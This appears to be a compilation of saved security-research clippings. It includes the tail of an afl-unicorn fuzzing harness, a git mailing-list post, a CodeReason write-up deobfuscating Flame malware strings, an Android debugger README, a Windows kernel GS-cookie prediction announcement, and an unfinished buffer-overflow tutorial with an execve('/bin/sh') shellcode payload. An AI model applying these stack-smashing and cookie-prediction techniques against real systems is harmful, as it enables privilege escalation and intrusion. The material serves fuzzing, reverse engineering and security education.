35 |  \# If Capstone is installed then we'll dump disassembly, otherwise just dump the binary.  
36 |  from capstone import \*  
37 |  cs = Cs\(CS\_ARCH\_MIPS, CS\_MODE\_MIPS32 + CS\_MODE\_BIG\_ENDIAN\)  
38 |  def unicorn\_debug\_instruction\(uc, address, size, user\_data\):  
39 |  mem = uc.mem\_read\(address, size\)  
40 |  for \(cs\_address, cs\_size, cs\_mnemonic, cs\_opstr\) in cs.disasm\_lite\(bytes\(mem\), size\):  
41 |  print\(" Instr: \{:\#016x\}:\t\{\}\t\{\}".format\(address, cs\_mnemonic, cs\_opstr\)\)  
42 | except ImportError:  
43 |  def unicorn\_debug\_instruction\(uc, address, size, user\_data\):  
44 |  print\(" Instr: addr=0x\{0:016x\}, size=0x\{1:016x\}".format\(address, size\)\)   
45 |   
46 | def unicorn\_debug\_block\(uc, address, size, user\_data\):  
47 |  print\("Basic Block: addr=0x\{0:016x\}, size=0x\{1:016x\}".format\(address, size\)\)  
48 |   
49 | def unicorn\_debug\_mem\_access\(uc, access, address, size, value, user\_data\):  
50 |  if access == UC\_MEM\_WRITE:  
51 |  print\(" >>> Write: addr=0x\{0:016x\} size=\{1\} data=0x\{2:016x\}".format\(address, size, value\)\)  
52 |  else:  
53 |  print\(" >>> Read: addr=0x\{0:016x\} size=\{1\}".format\(address, size\)\)   
54 |   
55 | def unicorn\_debug\_mem\_invalid\_access\(uc, access, address, size, value, user\_data\):  
56 |  if access == UC\_MEM\_WRITE\_UNMAPPED:  
57 |  print\(" >>> INVALID Write: addr=0x\{0:016x\} size=\{1\} data=0x\{2:016x\}".format\(address, size, value\)\)  
58 |  else:  
59 |  print\(" >>> INVALID Read: addr=0x\{0:016x\} size=\{1\}".format\(address, size\)\)   
60 |   
61 | def force\_crash\(uc\_error\):  
62 |  \# This function should be called to indicate to AFL that a crash occurred during emulation.  
63 |  \# Pass in the exception received from Uc.emu\_start\(\)  
64 |  mem\_errors = \[  
65 |  UC\_ERR\_READ\_UNMAPPED, UC\_ERR\_READ\_PROT, UC\_ERR\_READ\_UNALIGNED,  
66 |  UC\_ERR\_WRITE\_UNMAPPED, UC\_ERR\_WRITE\_PROT, UC\_ERR\_WRITE\_UNALIGNED,  
67 |  UC\_ERR\_FETCH\_UNMAPPED, UC\_ERR\_FETCH\_PROT, UC\_ERR\_FETCH\_UNALIGNED,  
68 |  \]  
69 |  if uc\_error.errno in mem\_errors:  
70 |  \# Memory error - throw SIGSEGV  
71 |  os.kill\(os.getpid\(\), signal.SIGSEGV\)  
72 |  elif uc\_error.errno == UC\_ERR\_INSN\_INVALID:  
73 |  \# Invalid instruction - throw SIGILL  
74 |  os.kill\(os.getpid\(\), signal.SIGILL\)  
75 |  else:  
76 |  \# Not sure what happened - throw SIGABRT  
77 |  os.kill\(os.getpid\(\), signal.SIGABRT\)  
78 |   
79 | def main\(\):  
80 |   
81 |  parser = argparse.ArgumentParser\(description="Test harness for simple\_target.bin"\)  
82 |  parser.add\_argument\('input\_file', type=str, help="Path to the file containing the mutated input to load"\)  
83 |  parser.add\_argument\('-d', '\--debug', default=False, action="store\_true", help="Enables debug tracing"\)  
84 |  args = parser.parse\_args\(\)  
85 |   
86 |  \# Instantiate a MIPS32 big endian Unicorn Engine instance  
87 |  uc = Uc\(UC\_ARCH\_MIPS, UC\_MODE\_MIPS32 + UC\_MODE\_BIG\_ENDIAN\)  
88 |   
89 |  if args.debug:  
90 |  uc.hook\_add\(UC\_HOOK\_BLOCK, unicorn\_debug\_block\)  
91 |  uc.hook\_add\(UC\_HOOK\_CODE, unicorn\_debug\_instruction\)  
92 |  uc.hook\_add\(UC\_HOOK\_MEM\_WRITE | UC\_HOOK\_MEM\_READ, unicorn\_debug\_mem\_access\)  
93 |  uc.hook\_add\(UC\_HOOK\_MEM\_WRITE\_UNMAPPED | UC\_HOOK\_MEM\_READ\_INVALID, unicorn\_debug\_mem\_invalid\_access\)  
94 |   
95 |  \#\---------------------------------------------------  
96 |  \# Load the binary to emulate and map it into memory  
97 |   
98 |  print\("Loading data input from \{\}".format\(args.input\_file\)\)  
99 |  binary\_file = open\(BINARY\_FILE, 'rb'\)  
100 |  binary\_code = binary\_file.read\(\)  
101 |  binary\_file.close\(\)  
102 |   
103 |  \# Apply constraints to the mutated input  
104 |  if len\(binary\_code\) > CODE\_SIZE\_MAX:  
105 |  print\("Binary code is too large \(> \{\} bytes\)".format\(CODE\_SIZE\_MAX\)\)  
106 |  return  
107 |   
108 |  \# Write the mutated command into the data buffer  
109 |  uc.mem\_map\(CODE\_ADDRESS, CODE\_SIZE\_MAX\)  
110 |  uc.mem\_write\(CODE\_ADDRESS, binary\_code\)  
111 |   
112 |  \# Set the program counter to the start of the code  
113 |  start\_address = CODE\_ADDRESS \# Address of entry point of main\(\)  
114 |  end\_address = CODE\_ADDRESS + 0xf4 \# Address of last instruction in main\(\)  
115 |  uc.reg\_write\(UC\_MIPS\_REG\_PC, start\_address\)  
116 |   
117 |  \#\-----------------  
118 |  \# Setup the stack  
119 |   
120 |  uc.mem\_map\(STACK\_ADDRESS, STACK\_SIZE\)  
121 |  uc.reg\_write\(UC\_MIPS\_REG\_SP, STACK\_ADDRESS + STACK\_SIZE\)  
122 |   
123 |  \#\-----------------------------------------------------  
124 |  \# Emulate 1 instruction to kick off AFL's fork server  
125 |  \# THIS MUST BE DONE BEFORE LOADING USER DATA\!   
126 |  \# If this isn't done every single run, the AFL fork server   
127 |  \# will not be started appropriately and you'll get erratic results\!  
128 |  \# It doesn't matter what this returns with, it just has to execute at  
129 |  \# least one instruction in order to get the fork server started.  
130 |   
131 |  \# Execute 1 instruction just to startup the forkserver  
132 |  print\("Starting the AFL forkserver by executing 1 instruction"\)  
133 |  try:  
134 |  uc.emu\_start\(uc.reg\_read\(UC\_MIPS\_REG\_PC\), 0, 0, count=1\)  
135 |  except UcError as e:  
136 |  print\("ERROR: Failed to execute a single instruction \(error: \{\}\)\!".format\(e\)\)  
137 |  return  
138 |   
139 |  \#\-----------------------------------------------  
140 |  \# Load the mutated input and map it into memory  
141 |   
142 |  \# Load the mutated input from disk  
143 |  print\("Loading data input from \{\}".format\(args.input\_file\)\)  
144 |  input\_file = open\(args.input\_file, 'rb'\)  
145 |  input = input\_file.read\(\)  
146 |  input\_file.close\(\)  
147 |   
148 |  \# Apply constraints to the mutated input  
149 |  if len\(input\) > DATA\_SIZE\_MAX:  
150 |  print\("Test input is too long \(> \{\} bytes\)".format\(DATA\_SIZE\_MAX\)\)  
151 |  return  
152 |   
153 |  \# Write the mutated command into the data buffer  
154 |  uc.mem\_map\(DATA\_ADDRESS, DATA\_SIZE\_MAX\)  
155 |  uc.mem\_write\(DATA\_ADDRESS, input\)  
156 |   
157 |  \#\------------------------------------------------------------  
158 |  \# Emulate the code, allowing it to process the mutated input  
159 |   
160 |  print\("Executing until a crash or execution reaches 0x\{0:016x\}".format\(end\_address\)\)  
161 |  try:  
162 |  result = uc.emu\_start\(uc.reg\_read\(UC\_MIPS\_REG\_PC\), end\_address, timeout=0, count=0\)  
163 |  except UcError as e:  
164 |  print\("Execution failed with error: \{\}".format\(e\)\)  
165 |  force\_crash\(e\)  
166 |   
167 |  print\("Done."\)  
168 |   
169 | if \_\_name\_\_ == "\_\_main\_\_":  
170 |  main\(\)  
view raw simple\_test\_harness.py hosted with ❤ by GitHub

Create a few test inputs and run your test harness on its own to verify that
it emulates the code \(and crashes\) as expected.

Now that the test harness is up and running, create a few sample inputs and
run it under afl-fuzz as shown below. Make sure you add the ‘-U’ parameter to
specify Unicorn Mode, and I recommend setting the memory limit parameter
\(‘-m’\) to ‘none’ since running a Unicorn script can take quite a bit of RAM.
Follow the normal AFL convention of replacing the parameter containing the
path of the file to fuzz with ‘@@’ \(see AFL’s README for more info\)

[code]

    afl-fuzz -U -m none -i /path/to/sample/inputs -o /path/to/results   
        -- python simple_test_harness.py @@
[/code]

If all goes according to plan AFL will start up and find some crashes pretty
quickly.

<img src='img/1*nju41ImcIfatUzDGjEdqbA.png' width='700' height='412' />

AFL found crashes in the sample in just few seconds\!

You can then run the crashing inputs \(found in the results/crashes/
directory\) through the test harness manually to learn more about why they
crashed. I recommend keeping a second copy of your Unicorn test harness and
modifying as necessary to debug the crash in emulation. For example, you can
turn on instruction tracing, disassemble along the way using Capstone, dump
registers at critical points, etc.

Once you think that you have a valid crash you’ll need to figure out a way to
deliver it to the actual program outside of emulation and verify that the
crash works on the physical system.

It’s worth noting that the overall fuzzing speed and performance is going to
be largely determined by how fast your test harness is. A large, intricate
Python-based test harness is going to run much slower than a tight, optimized
C-based harness. Make sure to consider this if you plan on running extensive,
long-running fuzzers. As a rough point of reference, I found a C-based harness
to get 5–10x more executions per second than an analogous Python harness.

### Where to Go From Here

While I originally created this to find vulnerabilities in embedded systems
\(like those found in the Broadcom WiFi chipset by Project Zero and
Comsecuris\), in my follow-up blog post I’ll release tools and describe a
methodology for using afl-unicorn to fuzz emulated functionality in Windows,
Linux, and Android processes.

Afl-unicorn can also be used to not only find crashes, but to do basic path
finding. In your test harness you can force a crash if a specific instruction
is executed \(or any other condition you choose\). AFL will catch these
‘crashes’ and store the inputs which lead to that condition being met. This
can be used as a poor-man’s replacement for symbolic analysis to discover
inputs that drill down into deep parsing logic trees.

The makers of Unicorn and Capstone have recently been tweeting images that
hint that AFL support may be coming soon…it will be interesting to see what
capabilities they have created, and if there is any chance for collaboration
to optimize our tools.

### Credits

I developed afl-unicorn as an internal research project while working as a
cyber security researcher at Battelle in Columbus, OH. Battelle is an awesome
place to work, and afl-unicorn is just one of many examples of novel cyber
security research being done there. For more Battelle-sponsored projects,
check out Chris Domas and John Toterhi’s previous work. For information about
careers at Battelle, check out their careers page.

Of course none of this would be possible without AFL and Unicorn Engine. Lots
of additional inspiration came from Alex Hude‘s awesome uEmu plugin for IDA,
and many of the general concepts were borrowed from the NCC Group’s
AFLTriforce project.

To continue on, check out **_afl-unicorn: Part 2 - Fuzzing the ‘Unfuzzable’_**

  

# Re: receive.denyCurrentBranch

**Created:**| _3/6/2010 8:33:13 PM_  
---|---  
**Updated:**| _3/6/2010 8:33:24 PM_  
**Author:**| __  
**Tags:**| _arrrg_  
  

[code]

    On Sun, Feb 8, 2009 at 6:41 PM, Johannes Schindelin
    <Johannes.Schindelin@xxxxxx> wrote:
    > Hi,
    >
    > On Sun, 8 Feb 2009, Jay Soffian wrote:
    >
    >> If you had paid attention, you would have noticed that Mercurial did not
    >> attempt to merge. Rather, it created a new branch head in the remote
    >> repository.
    >
    > So this is the "detached HEAD" idea.  Which contradicts the law of the
    > least surprise.
    
    I agree that a detached HEAD is a bad idea. The closest parallel that
    I can come up with for git would be for receive-pack to store incoming
    changes into separate branch hierarchy, NOT for it to detach HEAD. A
    toy-patch I played around with earlier allowed this on the non-bare
    upstream repo:
    
    [receive]
         prefix = refs/remotes/incoming
    
    Then a push to refs/heads/master was automatically stored as
    refs/remotes/incoming/master instead.
    
    And yes, I'm aware the user can use a push refspec on the sending side.
    
    > It should be clear that the equivalent of a central repository is a bare
    > repository.  And hopefully Junio's strategy will make that clearer, so I
    > think this is the superior approach.
    
    I foresee new user doing this:
    
    laptop:~$ git clone ssh://workstation/~/repo
    laptop:~$ cd repo
    laptop:~/repo (master)$ echo change >> file && git commit -am change
    laptop:~/repo (master)$ git push
    ...
    error: refusing to update checked out branch: refs/heads/master
    To ssh://workstation/~/repo
     ! [remote rejected] master -> master (branch is currently checked out)
    error: failed to push some refs to 'ssh://workstation/~/repo'
    
    And now new user is stumped.
    
    Perhaps adding something like this to the git-push man page:
    
    ---8<---
    
    Non-bare Repositories
    ---------------------
    When pushing to a non-bare upstream repository (i.e. an upstream repository
    with a working copy), changes to the checked out branch are NOT reflected in
    the upstream index, nor in the working copy. This creates a situation where it
    is easy to accidentally revert the changes on the next commit in the upstream
    repository.
    
    e.g. Assume the following history exists in the upstream repository:
    
    A---B master
    
    master is the currently checked out branch, nothing is staged in the index and
    the working copy is clean.
    
    A single change is made to master downstream and pushed. The upstream
    repository is now in this state:
    
    A---B---C master
    
    However, the index and working copy reflect the state at commit B. Performing
    a new commit in the upstream repository would do this:
    
    A---B---C---B' master
    
    B' is a new commit, but reflects the same state as B.
    
    In order to prevent this situation, it is recommended that if you need to push
    into a non-bare upstream repository, set receive.denyCurrentBranch = true in
    the upstream repository (this will become the default in git-X.Y). This will
    prevent the push from occurring. Instead, you can push into an alternate
    branch, and then merge that branch in the upstream repository. e.g.:
    
    server$ cd ~/repo && git config receive.denyCurrentBranch true
    
    laptop$ git push
    ...
    error: refusing to update checked out branch: refs/heads/master
    To ssh://server/~/repo
     ! [remote rejected] master -> master (branch is currently checked out)
    error: failed to push some refs to 'ssh://server/~/repo'
    laptop$ git push origin master:refs/remotes/laptop/master
    laptop$ ssh server
    server$ cd ~/repo
    server$ git merge laptop/master
    
    Alternatively, you can set receive.denyCurrentBranch = warn in the upstream
    repo, but then you must remember to perform "git reset --hard" in the upstream
    repo after pushing to its currently checked out branch. (But be careful, as
    "git reset --hard" throws away uncommitted changes.)
    
    ---8<---
    
    j.
    --
[/code]

# The Automated Exploitation Grand Challende - Tales of Weird Machines

**Created:**| _10/23/2013 9:33:09 AM_  
---|---  
**Updated:**| _10/23/2013 9:33:37 AM_  
**Author:**| _wishi_  
**Tags:**| _Practical Software Verification conference-material Fuzzer
automation SMT model-checking modeling automata-theory similarity simulation_  
  
<img src='img/aegc_vanegue.pdf' />

# Semantic Analysis of Native Programs, introducing CodeReason – ...And You
Will Know Us by the Trail of Bits

**Created:**| _2/24/2014 9:28:05 PM_  
---|---  
**Updated:**| _2/24/2014 9:28:05 PM_  
**Author:**| __  
**Tags:**| _reversing semantic_  
  

# **S** emantic Analysis of Native Programs, introducing CodeReason****

# Introduction****

Have you ever wanted to make a query into a native mode program asking about
program locations that write a specific value to a register**?** Have you ever
wanted to automatically deobfuscate obfuscated strings**?**

Reverse engineering a native program involves understanding its semantics at a
low level until a high level picture of functionality emerges**.** One
challenge facing a principled understanding of a native mode program is that
this understanding must extend to every instruction used by the program**.**
Your analysis must know which instructions have what effects on memory calls
and registers**.**

We’d like to introduce CodeReason, a machine code analysis framework we
produced for DARPA Cyber Fast Track**.** CodeReason provides a framework for
analyzing the semantics of native x86 and ARM code**.** We like CodeReason
because it provides us a platform to make queries about the effects that
native code has on overall program state**.** CodeReason does this by having a
deep semantic understanding of native instructions**.**

Building this semantic understanding is time-consuming and expensive**.**
There are existing systems, but they have high barriers to entry or don’t do
precisely what we want, or they don’t apply simplifications and optimizations
to their semantics**.** We want to do that because these simplifications can
reduce otherwise hairy optimizations to simple expressions that are easy to
understand**.** To motivate this, we’ll give an example of a time we used
CodeReason**.**

# Simplifying Flame****

Around when the Flame malware  was revealed, some of its binaries  were posted
onto malware**.** lu. Their overall scheme is to store the obfuscated string
in a structure in global data**.** The structure looks something like this:

`  
struct ObfuscatedString {  
char padding[7];  
char hasDeobfuscated;  
short stringLen;  
char string[];  
};  
`

Each structure has variable-length data at the end, with 7 bytes of data that
were apparently unused**.**

There are two fun things here. First I used Code Reason to write a string
deobfuscator in C. The original program logic performs string deobfuscation in
three steps**.**

The first function checks the hasDeobfuscated field and if it is zero, will
return a pointer to the first element of the string**.** If the field is not
zero, it will call the second function, and then set hasDeobfuscated to
zero**.**

The second function will iterate over every character in the ‘string’
array**.** At each character, it will call a third function and then subtract
the value returned by the third function from the character in the string
array, writing the result back into the array**.** So it looks something like:

`  
void inplace_buffer_decrypt(unsigned char *buf, int len) {  
int counted = 0;  
while( counted < len ) {  
unsigned char *cur = buf + counted;  
unsigned char newChar = get_decrypt_modifier_f(counted);  
*cur -= newChar;  
++counted;  
}  
return;  
}  
`

What about the third function, ‘get\_decrypt\_modifier’**?** This function is
one basic block long and looks like this:

`  
lea ecx, [eax+11h]  
add eax, 0Bh  
imul ecx, eax  
mov edx, ecx  
shr edx, 8  
mov eax, edx  
xor eax, ecx  
shr eax, 10h  
xor eax, edx  
xor eax, ecx  
retn  
`

An advantage of having a native code semantics understanding system is that I
could capture this block and feed it to CodeReason and have it tell me what
the equation of ‘eax’ looks like**.** This would tell me what this block
‘returns’ to its caller, and would let me capture the semantics of what
get\_decrypt\_modifier does in my deobfuscator**.**

It would also be possible to decompile this snippet to C, however what I’m
really concerned with is the effect of the code on ‘eax’ and not something as
high-level as what the code “looks like” in a C decompilers view of the
world**.** C decompilers also use a semantics translator, but then proxy the
results of that translation through an attempt at translating to C. CodeReason
lets us skip the last step and consider just the semantics, which sometimes
can be more powerful**.**

# Using CodeReason****

Getting this from CodeReason looks like this:

`  
$ **.** /bin/VEEShell -a X86 -f ../tests/testSkyWipe.bin  
blockLen: 28  
r  
..**.**  
EAX = Xor32[ Xor32[ Shr32[ Xor32[ Shr32[ Mul32[ Add32[ REGREAD(EAX),
I:U32(0xb) ], Add32[ REGREAD(EAX), I:U32(0x11) ] ], I:U8(0x8) ], Mul32[ Add32[
REGREAD(EAX), I:U32(0xb) ], Add32[ REGREAD(EAX), I:U32(0x11) ] ] ], I:U8(0x10)
], Shr32[ Mul32[ Add32[ REGREAD(EAX), I:U32(0xb) ], Add32[ REGREAD(EAX),
I:U32(0x11) ] ], I:U8(0x8) ] ], Mul32[ Add32[ REGREAD(EAX), I:U32(0xb) ],
Add32[ REGREAD(EAX), I:U32(0x11) ] ] ]  
..**.**  
EIP = REGREAD(ESP)  
`

This is cool, because if I implement functions for Xor32, Mul32, Add32, and
Shr32, I have this function in C, like so:

`  
unsigned char get_decrypt_modifier_f(unsigned int a) {  
return Xor32(  
Xor32(  
Shr32(  
Xor32(  
Shr32(  
Mul32(  
Add32( a, 0xb),  
Add32( a, 0x11) ),  
0x8 ),  
Mul32(  
Add32( a, 0xb ),  
Add32( a, 0x11 ) ) ),  
0x10 ),  
Shr32(  
Mul32(  
Add32( a, 0xb ),  
Add32( a, 0x11 ) ),  
0x8 ) ),  
Mul32(  
Add32( a, 0xb ),  
Add32( a, 0x11 ) ) );  
}  
`

And this also is cool because it works**.**

`  
C:\code\tmp>skywiper_string_decrypt.exe  
CreateToolhelp32Snapshot  
`

We’re extending CodeReason into an IDA plugin that allows us to make these
queries directly from IDA, which should be really cool**\!**

The second fun thing here is that this string deobfuscator has a race
condition**.** If two threads try and deobfuscate the same thread at the same
time, they will corrupt the string forever**.** This could be bad if you were
trying to do something important with an obfuscated string, as it would result
in passing bad data to a system service or something, which could have very
bad effects**.**

I’ve used CodeReason to attack string obfuscations that were implemented like
this:

`  
xor eax eax  
push eax  
sub eax, 0x21ece84  
push eax  
`

Where the sequence of native instructions would turn non-string immediate
values into string values \(through a clever use of the semantics of twos
compliment arithmetic\) and then push them in the correct order onto the
stack, thereby building a string dynamically each time the deobfuscation code
ran**.** CodeReason was able to look at this and, using a very simple pinhole
optimizer, convert the code into a sequence of memory writes of string
immediate values, like:

`  
MEMWRITE[esp] = '.dll'  
MEMWRITE[esp-4] = 'nlan'  
`

# Conclusions****

Having machine code in a form where it can be optimized and understood can be
kind of powerful**\!** Especially when that is available from a programmatic
library**.** Using CodeReason, we were able to extract the semantics of string
obfuscation functions and automatically implement a string de-obfuscator**.**
Further, we were able to simplify obfuscating code into a form that expressed
the de-obfuscated string values on their own**.** We plan to cover additional
uses and capabilities of CodeReason in future blog posts**.**

Filed Under: Malware

****

# wuntee/android\_debug

**Created:**| _10/23/2013 10:14:49 AM_  
---|---  
**Updated:**| _10/23/2013 10:14:49 AM_  
**Author:**| __  
**Tags:**| _Debugging scripting Java programming android devtools_  
  

# android\_debug****

This is a scriptable debugger for Android applications**.** Sample usage:

[code]

    require 'android_debug'
    dbg = AndroidDebug.launch_and_attach("com.android.browser", "com.android.browser.BrowserActivity")
    dbg**.** on_break do |event|
        puts("Break type: #{event}")
        if(dbg.frame.method_name == "registerReceiver")
            puts("#{dbg.frame.method_signature}")
            puts("Frame variables:")
            dbg.frame.variables.each do |var|
                puts("\t#{var}")
            end
        end
        dbg.resume
    end
    dbg.add_class_entry_breakpoint("android.content.Context")
    dbg**.** go
    
[/code]

##  Core concepts**** :

  * Environmental or global vairable ANDROID\_HOME must be set to your SDK home \(ex: /Users/wuntee/android-sdk-macosx\)**.** This is because it uses the 'adb' binary to launch applications for the debugger, and utilizes some of the DDMS java libraries**.**
  * On a breakpoint, you can access variables, methods, locations via the initial 'AndroidDebug::Debugger' object
  * Create/Launch a debugger via AndroidDebug.launch\_and\_attach\(classpath, classname\)
  * AndroidDebug::Debugger.this is the "this" object within the class you broken in**.**
  * AndroidDebug::Debugger.frame is the stackframe on where the break occured and is a AndroidDebug::Jpda::Frame object**.** This class has a bunch of helper methods to get fun data**.**
  * You can invoke remote methods by calling Object.method\(args\)
  * Invoking methods will re-start the application, and you will lose your break**.**
  * Most classes are extending existing Java classes**.** Any method you will typically call on a java class will percilate down to the core Java class, if it exists**.** \(See the JavaPassthrough mixin for specifics\)
  * You must resume the debugger in the 'on\_break' block \('dbg.resume'\) before returning**.** This is because there is the ability to step within the block as well**.**

##  Linux users**** :

  * You must use the sun 'JDK' as it is the only packages that has the com.sun.jdi classes
  * You also may have to explicitally add the tools.jar to teh $CLASSPATH variable in your script**.** \(This will be the case if you see the following exception: NameError: cannot load Java class com.sun.jdi.Bootstrap\)

#  Contributing to android\_debug****

  * Check out the latest master to make sure the feature hasn't been implemented or the bug hasn't been fixed yet**.**
  * Check out the issue tracker to make sure someone already hasn't requested it and/or contributed it**.**
  * Fork the project**.**
  * Start a feature/bugfix branch.
  * Commit and push until you are happy with your contribution**.**
  * Make sure to add tests for it. This is important so I don't break it in a future version unintentionally**.**
  * Please try not to mess with the Rakefile, version, or history**.** If you want to have your own version, or is otherwise necessary, that is fine, but please isolate to its own commit so I can cherry-pick around it**.**

****

# Defeating Return-Oriented Rootkitswith “Return-less”Kernels

**Created:**| _10/15/2010 1:09:46 PM_  
---|---  
**Updated:**| _10/15/2010 1:10:19 PM_  
**Author:**| __  
**Tags:**| _rootkits Defense rop_  
  
<img src='img/Temp2_2086' />

# Windows Kernel-mode GS Cookies and 1 bit of entropy | j00ru//vx tech blog
**Created:**| _1/13/2011 3:26:28 PM_  
---|---  
**Updated:**| _1/13/2011 3:27:10 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit awesome bughunting_  
  

## Windows Kernel-mode GS Cookies and 1 bit of entropy

Hello,

Today, I would like to present the results of the research, performed by me
and Gynvael Coldwind, during the last three or four weeks – an almost forty-
page long article, entitled “**Exploiting the otherwise non-exploitable:
Windows Kernel-mode GS cookies subverted** ” \(yes, that’s an obvious
reference to the “Exploiting the otherwise non-exploitable on Windows” by
Skywing and Skape, Uninformed 4\). The paper aims to describe the current
protection level of a specific stack protection found in a majority of Windows
device drivers \(both default and 3rd party\) – the GS cookies, and cover the
cookie generation weaknesses, found in the actual protection implementations
on Windows XP, Windows Vista and Windows 7 \(both 32-bit and 64-bit
platforms\).

As it turns out, all of the entropy sources used to form the final cookie
value – preventing the attacker from hijacking the _return address -_ are
extremely weak, and therefore easy to guess or calculate by a potential
attacker. A total of five cookie-prediction techniques can be found in the
article; three of which are designed to estimate the _system tick count_ \(the
only truly unknown factor of the cookie value\), with the highest possible
accuracy degree. Apart from theoretical considerations, we have also performed
a number of practical tests, proving the real effectiveness of the presented
methods. By making use of the most precise measurement techniques we are
currently aware of, we have managed to reach around 50% of cookie prediction
reliability \(and thus, the same degree of stack-based vuln exploitability\).

Inspired by a related article \(“Reducing the effective entropy of GS cookies”
by skape, Uninformed 7\) I would like to present three, exemplary charts,
summing up the general results achieved by the authors, in the field of cookie
entropy reduction. The experiments were performed on a regular computer \(not
a virtual machine\) with the Microsoft Windows XP SP3 operating system
installed, and are based on the cookie value of the standard _win32k.sys_
kernel module.

<img src='img/Temp2_9906.png' width='553' height='259' />

**Chart 1.** Per-bit GS Cookie predictability, using Technique 1.

<img src='img/Temp2_9904.png' width='553' height='259' />

**Chart 2.** Per-bit GS Cookie predictability, using Technique 2.

<img src='img/Temp2_9905.png' width='554' height='259' />

**Chart 3.** Per-bit GS Cookie predictability, using Technique 3.

Legend: A value of 1.0 means that the given bit can be predicted with 100%
accuracy \(i.e. no entropy\).  
A value of 0.5 means that the given bit can be predicted with 50% accuracy –
the 0/1 bit decomposition is equal, providing a maximum entropy level.

What this actually means, is that a certain group of the stack-based buffer
overflow vulnerabilities found within Windows kernel modules are no longer
considered _Denial of Service_ class; instead, they are possible _Elevation of
Privileges_ vulns, that can be exploited with a varying success rate
\(depending on numerous factors\). One example of such vulnerability is
CVE-2010-4398; the security flaw has been disclosed as a 0-day on 26th
November 2010, by a Chinese hacker called _noobpwnftw._ Originally, the
discoverer shared a brief summary of the vulnerability \(concept, reason,
versions affected\), a Proof of Concept source code, and a video recording,
confirming successful exploitation on the Windows Vista platform.

A little confusion amongst the community \(at least on the Polish side of the
net\) was caused by the fact that the advisory author explicitly noted that
the exemplary exploit is capable of bypassing UAC, and the exploit itself was
only compatible with the two latest Microsoft operating systems. Upon reading
a couple of comments stating that Windows XP is not affected by the
vulnerability, me and Gynvael decided to investigate the issue more, and
figure out what’s going on, by ourselves. Interestingly, not only did we
confirm that Windows XP was prone to the security flaw, but we also found out
that the win32k.sys version is GS-protected, as opposed to Windows Vista and
7. Therefore, one of the main reasons for taking up the research was to make
the issue exploitable on Windows XP.

Fortunately, thanks to the developed cookie prediction techniques, we did
manage to create an almost reliable \(with the success rate of around 46%, as
presented in the paper\) Proof of Concept program. A successful elevation of
privileges, achieved by estimating the GS cookie and exploiting the
CVE-2010-4398 vulnerability is presented on the following video:

# Download

The full article can be downloaded from the following location: **link \(PDF,
885kB\)**.

## Vendor timeline

**6 December 2010:** Initial e-mail to Microsoft informing that our research
indicates that the ring-0 driver cookies are predictable.

**6 December 2010:** Initial vendor response, confirming reception.

**8 December 2010:** Second vendor response. Vendor was aware of the low
entropy of the cookies and agrees that our approach is reasonable. Vendor
states that there are no plans in updating the mechanism in the current
version of the system, and that the issue is planned to be addressed in the
next release of Windows. Vendor did not request the paper to be released later
than the authors originally planned.

**4 January 2011:** Final “ping” to vendor. Some e-mails were exchanged, but
delay in publishing was not requested.

**11 January 2011:** The paper is published.

## Thanks

We would like to thank the following people for reviewing, commenting, and
suggesting numerous improvements to the paper: Unavowed, Tavis Ormandy, Marc-
Antoine Ruel, Carlos Pizano, Matt Miller and deus.

## Conclusion

The general purpose of the paper is to show, how an ultimate protection scheme
implemented in the Windows drivers is prone to certain weaknesses, which can
further used to perform successful _stack-based vulnerability_ exploitation,
provided local access to the target machine. Due to the current state of
things, some of the already-known security flaws, considered _Denial of
Service_ class up to this moment, now become a _“Possible elevation of
privileges”_ , thanks to the GS cookie prediction techniques. The outlined
issues are also going to work in the context of possibly upcoming, and not yet
known vulnerabilities, since the GS cookie mechanism is not claimed to be
improved in the near future. One should keep in mind, however, that the
invented techniques can be only applied to a certain group of devices; what’s
most important, they do not work for the Windows core kernel image –
_ntoskrnl.exe_.

# Buffer Overflows and You

**Created:**| _1/31/2012 7:22:03 PM_  
---|---  
**Updated:**| _1/31/2012 7:22:16 PM_  
**Author:**| __  
**Tags:**| _shellcode Tutorials x64_  
  

## Shellcode

Well that's all just fantastic. But what if we want to be more malicious than
just causing a denial of service? What if we want to root the machine?

Well, since we have control of the return address, if we're careful we should
be able to overwrite it to _point back at our buffer_ so when the present
function returns, the process executes whatever payload we have in the buffer.

How do we go about generating this payload? Well, you'll have to endure some
more explaining first.

We talked briefly in the introduction about how the OS is responsible for
managing machine resources and to do so it provides a number of protection
mechanisms. Another one of these mechanisms is to have a set of instructions
that are considered "privileged." That is, they can only be executed when the
CPU is in "supervisor" mode. When userland programs execute, the CPU is not in
supervisor mode.

Before we get too far along, it should be noted that this section is _loosely_
based on Aleph One's Smashing the Stack for Fun and Profit. \[4\] You'll note
that the approach taken is a bit different, as is the resulting shell code.

## System calls

The only way to enter supervisor mode is to go through predefined entry points
in the kernel. One of these points is called a **system call**. A system call
allows a userland program to tell the kernel "Hey, I want you to do something
for me or grant me access to some resource."

Let's see how system calls work on x86\_64 Linux by taking a look at the
kernel source, specifically arch/x86\_64/kernel/entry.S where we see the
following comment...

[code]

    /*
     * System call entry. Upto 6 arguments in registers are supported.
     *
     * SYSCALL does not save anything on the stack and does not change the
     * stack pointer.
     */
    		
    /*
     * Register setup:	
     * rax  system call number
     * rdi  arg0
     * rcx  return address for syscall/sysret, C arg3 
     * rsi  arg1
     * rdx  arg2	
     * r10  arg3 	(--> moved to rcx for C)
     * r8   arg4
     * r9   arg5
     * r11  eflags for syscall/sysret, temporary for C
     * r12-r15,rbp,rbx saved by C code, not touched. 		
     * 
     * Interrupts are off on entry.
     * Only called from user space.
     *
     * XXX	if we had a free scratch register we could save the RSP into the stack frame
     *      and report it properly in ps. Unfortunately we haven't.
     */ 			 		
    
[/code]

So to make a system call, you first store the syscall number in RAX, any
parameters in RDI, RSI, RDX, etc, and then execute the "syscall" instruction.
It's worth noting that this is not how it works on old x86. On i386, the
parameters are passed via EBX, ECX, EDX, etc; the syscall number is stored in
EAX; and the "int" instruction is executed for interrupt 0x80.

If this seems painful to you, you're not alone. Since most developers get
scared when you mention words like "register" and "interrupt," glibc provides
wrapper functions for just about every system call. So instead of doing what
was described above, you can instead do something like this...

[code]

    #include <stdlib.h>
    
    int main() {
      execve("/bin/sh", NULL, NULL);
    }
    
[/code]

The program above is interesting to us, because it represents a pretty useful
payload in the context of a buffer overflow attack. It will cause the
currently running process to execute /bin/sh and give us a shell. With a shell
one can do just about whatever they want.

execve\(\) is a **system call** , or more precisely it is a wrapper function
provided by libc that invokes the "execve" system call. When a "regular" C
program wants to make a system call it doesn't usually do it directly.

This time, however, we do want to do it directly, because otherwise we would
